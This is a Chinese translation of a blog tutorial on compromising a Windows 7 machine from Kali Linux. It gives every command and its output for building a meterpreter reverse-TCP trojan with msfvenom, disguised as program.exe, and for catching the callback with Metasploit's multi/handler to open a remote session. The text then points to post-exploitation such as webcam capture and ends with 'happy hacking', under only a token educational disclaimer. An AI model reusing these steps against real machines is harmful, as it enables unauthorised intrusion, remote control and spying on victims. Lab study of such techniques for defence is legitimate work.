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174 lines
7.3 KiB
Markdown
如何使用 Kali Linux 黑掉 Windows
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====================
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Kali Linux 派生自 Debian Linux，主要用于渗透测试，拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一个用于开发和执行安全利用代码（security exploit）的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意，我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
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### 源机器详情
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Kali Linux
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```
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root@kali:/# uname -a
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Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
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root@kali:/#
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```
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用做攻击对象的目标机器：
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```
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Windows 7 Ultimate SP1
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```
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### 步骤 1：创建 Payload 程序
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Payload 是一个类似于病毒或者木马的程序，可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload（`program.exe`），以便能使用 Kali Linux 黑掉 Windows。
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```
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root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
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No platform was selected, choosing Msf::Module::Platform::Windows from the payload
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No Arch selected, selecting Arch: x86 from the payload
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No encoder or badchars specified, outputting raw payload
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Payload size: 333 bytes
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Final size of exe file: 73802 bytes
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Saved as: /root/program.exe
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root@kali:/# ls -la /root/program.exe
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-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
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```
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通过 `ls` 命令，我们可以确认 Payload 程序是否成功生成在指定的位置。
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### 步骤 2：运行 `mfsconsole` 命令启动 msf 命令窗口
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```
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root@kali:# msfconsole
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.,,. .
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.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
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d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
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d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
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d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
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88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
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d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
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d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
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.a#$$$$$$"` 88b d8P 88b`?8888P'
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,s$$$$$$$"` 888888P' 88n _.,,,ass;:
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.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
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.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
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,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
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.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
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_______________________________________________________________ ,&$$$$$$'_____
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ll&&$$$$'
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.;;lll&&&&'
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...;;lllll&'
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......;;;llll;;;....
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` ......;;;;... . .
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Taking notes in notepad? Have Metasploit Pro track & report
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your progress and findings -- learn more on http://rapid7.com/metasploit
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=[ metasploit v4.12.22-dev ]
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+ -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
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+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
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+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
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msf >
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```
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### 步骤 3：进行漏洞利用的细节
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* 4444 端口：你可以按照自己的想法来选择使用哪个端口
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* LHOST IP：表示 Kali Linux 机器的 IP，这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。
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```
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root@kali:/# ip r l
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192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
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root@kali:/#
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```
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现在在 msf 命令窗口使用 `use exploit/multi/handler` 命令，如下：
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```
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msf > use exploit/multi/handler
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msf exploit(handler) >
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```
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然后在接下来的命令窗口中使用命令 `set payload windows/meterpreter/reverse_tcp`：
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```
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msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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```
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现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口，如下：
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```
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msf exploit(handler) > set lhost 192.168.189.128
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lhost => 192.168.189.128
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msf exploit(handler) > set lport 4444
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lport => 4444
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```
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最后使用 `exploit` 命令。
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```
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msf exploit(handler) > exploit
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[*] Started reverse TCP handler on 192.168.189.128:4444
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[*] Starting the payload handler...
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```
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现在你需要在 Windows 上运行 `program.exe`，一旦它在目标机器上执行，你就可以建立一个 meterpreter 会话。输入 `sysinfo` 就可以得到这台被黑掉的 Windows 机器的详情。
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```
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msf exploit(handler) > exploit
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[*] Started reverse TCP handler on 192.168.189.128:4444
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[*] Starting the payload handler...
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[*] Sending stage (957999 bytes) to 192.168.189.1
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[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000
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meterpreter > sysinfo
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Computer : MANN-PC
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OS : Windows 7 (Build 7601, Service Pack 1).
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Architecture : x64 (Current Process is WOW64)
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System Language : en_IN
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/win32
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```
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一旦你得到了这些详细信息，就可以做更多的漏洞利用，或者通过 `help` 命令获取更多信息，以便列出你可以黑掉该系统的所有选项，比如 `webcam_snap` 命令获取网络摄像头，同样你还可以使用其他更多的可用选项。祝你入侵愉快！！！！ ←_←
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------------------------------------
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译者简介：
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[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。
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------------------------------------
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via: http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/
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作者：[Manmohan Mirkar][a]
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译者：[GHLandy](https://github.com/GHLandy)
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校对：[wxy](https://github.com/wxy)
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本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
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[a]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/
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[1]:http://www.linuxroutes.com/author/admin/
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[2]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#respond
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[3]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[4]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[5]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[6]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[7]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[8]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[9]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[10]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[11]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[12]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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[13]:http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/#
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